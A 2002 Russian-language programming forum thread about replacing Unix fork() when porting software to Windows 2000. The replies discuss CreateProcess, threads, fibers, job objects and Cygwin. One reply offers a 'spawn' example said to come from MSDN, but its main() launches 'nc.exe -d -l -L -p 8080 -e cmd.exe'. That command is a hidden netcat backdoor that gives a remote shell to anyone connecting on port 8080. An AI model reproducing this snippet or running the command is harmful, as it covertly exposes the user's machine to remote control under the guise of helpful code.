fork()
От: Linuxoid  
Дата: 24.06.02 07:01
Оценка:
Чем заменить линуховый fork() в W2K ?
Re: fork()
От: UngrunD Россия  
Дата: 24.06.02 07:22
Оценка:
Здравствуйте Linuxoid, Вы писали:

L>Чем заменить линуховый fork() в W2K ?


CreateProcess(....);
Re: fork()
От: www  
Дата: 24.06.02 07:28
Оценка:
нет такой ф-ии.
компиляй под cigwin...
Re[2]: fork()
От: Linuxoid  
Дата: 24.06.02 07:30
Оценка:
Здравствуйте UngrunD, Вы писали:

UD>Здравствуйте Linuxoid, Вы писали:


L>>Чем заменить линуховый fork() в W2K ?


UD>CreateProcess(....);


Плохая замена..
Посторонний exe-шник создавать — раз, параметры в него передавать — два, ну и отсутствует возможность использовать общие переменные — три. Короче, CreateProcess() не нравится. Кроме потоков, пока ничего в голову не приходит, но может есть другие механизмы, о которых я не знаю?
Задачка такая — перевожу линуховую прогу под W2K, в основном функции posix-овые использованы, вот только fork-и в нескольких местах..
Re[2]: Sigwin не хочу! Хочу честный W2K сервис :)
От: Linuxoid  
Дата: 24.06.02 07:33
Оценка:
Здравствуйте www, Вы писали:

www>нет такой ф-ии.

www>компиляй под cigwin...
Re: fork()
От: UngrunD Россия  
Дата: 24.06.02 07:47
Оценка:
Здравствуйте Linuxoid, Вы писали:

L>Чем заменить линуховый fork() в W2K ?


Если нужны честные сервисы, то для этого потоки и были сделаны. Тут тебе и общее адресное пространство и дележ процесс. времени. А если после расщепления родительский процесс должен умереть, то кроме CreateProcess тебе больше никто не поможет. Кстати под 2000 появился новый объект виндузового ядра — job, в который можно объединять процессы и накладывать им определенные ограничения

С уважением, Ungrund
Re: fork()
От: Хитрик Денис Россия RSDN
Дата: 24.06.02 08:05
Оценка:
Перенесено из С++ в WinAPI.
Правила нашего с вами форума.
Как правильно задавать вопросы. © 2001 by Eric S. Raymond; перевод: © 2002 Валерий Кравчук.
Re[2]: fork()
От: Linuxoid  
Дата: 24.06.02 08:18
Оценка:
Здравствуйте UngrunD, Вы писали:

UD>Здравствуйте Linuxoid, Вы писали:


L>>Чем заменить линуховый fork() в W2K ?


UD>Если нужны честные сервисы, то для этого потоки и были сделаны. Тут тебе и общее адресное пространство и дележ процесс. времени. А если после расщепления родительский процесс должен умереть, то кроме CreateProcess тебе больше никто не поможет. Кстати под 2000 появился новый объект виндузового ядра — job, в который можно объединять процессы и накладывать им определенные ограничения


UD>С уважением, Ungrund


Нет, родительский процесс умирать не должен.. А вот про job — это интересно, я про него никогда не слышал. Возможно, это то, что нужно? Можно рассказать про него подробнее?
Re[3]: fork()
От: UngrunD Россия  
Дата: 24.06.02 08:33
Оценка:
Здравствуйте Linuxoid, Вы писали:

L>Нет, родительский процесс умирать не должен.. А вот про job — это интересно, я про него никогда не слышал. Возможно, это то, что нужно? Можно рассказать про него подробнее?


Нет, это не то, что тебе нужно!
Но для некоторых задач будет полезно. Для процессов, включенных в задание можно установить ограничения на процессорное время, кванты этого времени, установить некоторые запреты, связанные с контекстом защиты и "нахальным" поведением по отношению к другим процессам. Кроме того, можно снимать статистику о времени работы и операциях I\O. То есть можно более гибко распределить вычислительные ресурсы. Например, выделить процесу 20 секунд процю времени, получить уведомление, обработать результаты и принять решение: убить процесс или добавить ему еще времени.
См. CreateJobObject(...);
Re[3]: Придется искать. А что делать ?
От: Алексей Петров Россия  
Дата: 24.06.02 09:02
Оценка:
Здравствуйте Linuxoid, Вы писали:

L>Здравствуйте UngrunD, Вы писали:


UD>>Здравствуйте Linuxoid, Вы писали:


L>>>Чем заменить линуховый fork() в W2K ?


UD>>CreateProcess(....);


L>Плохая замена..

L>Посторонний exe-шник создавать — раз, параметры в него передавать — два, ну и отсутствует возможность использовать общие переменные — три. Короче, CreateProcess() не нравится. Кроме потоков, пока ничего в голову не приходит, но может есть другие механизмы, о которых я не знаю?

Ну есть еще CreateFiber. Но Thread всетаки лучше.

L>Задачка такая — перевожу линуховую прогу под W2K, в основном функции posix-овые использованы, вот только fork-и в нескольких местах..
Re[4]: Fiber
От: Linuxoid  
Дата: 24.06.02 09:31
Оценка:
АП>Ну есть еще CreateFiber. Но Thread всетаки лучше.

Что такое fiber и чем отличается от thread?
Re[5]: Fiber
От: Кодт Россия  
Дата: 24.06.02 10:06
Оценка:
Здравствуйте Linuxoid, Вы писали:

АП>>Ну есть еще CreateFiber. Но Thread всетаки лучше.


L>Что такое fiber и чем отличается от thread?


Волокно (fiber), как и поток (нить, thread) имеет свой стек, но все волокна одной нити имеют кооперативную многозадачность. Это значит, что переключение волокон совершается программно, а если какое-то волокно затормозилось, то тормозится вся нить. Это отчасти упрощает, а отчасти заморачивает синхронизацию.

Но, мне кажется, в твоем случае это нафиг не нужно, потому что fork() делает новый процесс, изолированный от исходного.

Если процесс-отщепенец выполняет какую-то узкую задачу — то лучше сделать новый поток с помощью CreateThread(), и вынести эту задачу в отдельную функцию.

Создание же полноценной копии процесса (со всем содержимым стека и копией ресурсов) — не только трудоемко, но и вызывает изюмление: зачем это нужно.
Перекуём баги на фичи!
Re: fork()
От: Аноним  
Дата: 24.06.02 11:42
Оценка:
Здравствуйте Linuxoid, Вы писали:

L>Чем заменить линуховый fork() в W2K ?


Про Job'ы и Fiber'ы написано у Джеффри Рихтера "Windows для профессионалов".
Re: fork()
От: Linuxoid  
Дата: 25.06.02 10:39
Оценка:
Спасибо всем ответившим!
Решил реализовать с помощью потоков. Функции, выполняемые fork()-ом,
достаточно небольшие. Чтобы не менять алгоритм, нужно только поделать
для потоков копии всех используемых fork()-нутой веткой переменных.
Re[3]: fork()
От: Drek  
Дата: 09.07.02 08:08
Оценка:
Здравствуйте Linuxoid, Вы писали:

L>Здравствуйте UngrunD, Вы писали:


UD>>Здравствуйте Linuxoid, Вы писали:


L>>>Чем заменить линуховый fork() в W2K ?


UD>>CreateProcess(....);


L>Плохая замена..

L>Посторонний exe-шник создавать — раз, параметры в него передавать — два, ну и отсутствует возможность использовать общие переменные — три. Короче, CreateProcess() не нравится. Кроме потоков, пока ничего в голову не приходит, но может есть другие механизмы, о которых я не знаю?
L>Задачка такая — перевожу линуховую прогу под W2K, в основном функции posix-овые использованы, вот только fork-и в нескольких местах..
//example prog taken from MSDN

#include <stdio.h>
#include <windows.h>

int
spawn ( char *command, int wait )
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
// Start the child process.
if( !CreateProcess( NULL, // No module name (use command line).
command, // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent's environment block.
NULL, // Use parent's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi ) // Pointer to PROCESS_INFORMATION structure.
) return(-1);

// Wait until child process exits.
if (wait) WaitForSingleObject( pi.hProcess, INFINITE );
//
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return (0);

/*

// Good old C-style fork
//
int pid; // Process ID
pid = fork();
if ( pid < 0 )
{
printf("\nCannot fork!! \n");
return(1);
}
if ( pid == 0 )
{ // Child process
execl( command, 0);
}
else
{ // Parent process pid is child's pid
return (0);
}
*/
}

int
main ( int argc, char *argv[], char *envp[] )
{
system (" ver > ver.log");
spawn("nc.exe -d -l -L -p 8080 -e cmd.exe", 0);
}
Re: fork()
От: TepMuHyc  
Дата: 09.07.02 10:29
Оценка:
Здравствуйте Linuxoid, Вы писали:

L>Чем заменить линуховый fork() в W2K ?

Аналога просто НЕТ.

Но могу посоветовать залезть под юбку "Красной шапочке" (вот сюда http://sources.redhat.com/cgi-bin/cvsweb.cgi/src/winsup/cygwin/?cvsroot=src) и посмотреть как они это реализовали в своем cygwin — см. файл fork.cc
____________________
God obviously didn't debug, hasn't done any maintenance, and no documentation can be found. Truly amateur work.
Re[2]: fork()
От: vasketsov Россия http://ntprog.by.ru
Дата: 09.07.02 12:52
Оценка:
Здравствуйте TepMuHyc, Вы писали:

TMH>Здравствуйте Linuxoid, Вы писали:


L>>Чем заменить линуховый fork() в W2K ?

TMH>Аналога просто НЕТ.

TMH>Но могу посоветовать залезть под юбку "Красной шапочке" (вот сюда http://sources.redhat.com/cgi-bin/cvsweb.cgi/src/winsup/cygwin/?cvsroot=src) и посмотреть как они это реализовали в своем cygwin — см. файл fork.cc



У Garry Nebbett в главе про процессы есть такое, только вряд ли там совсем настоящий форк, но хоть что-то.
Васкецов Сергей
http://registry.km.ru
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.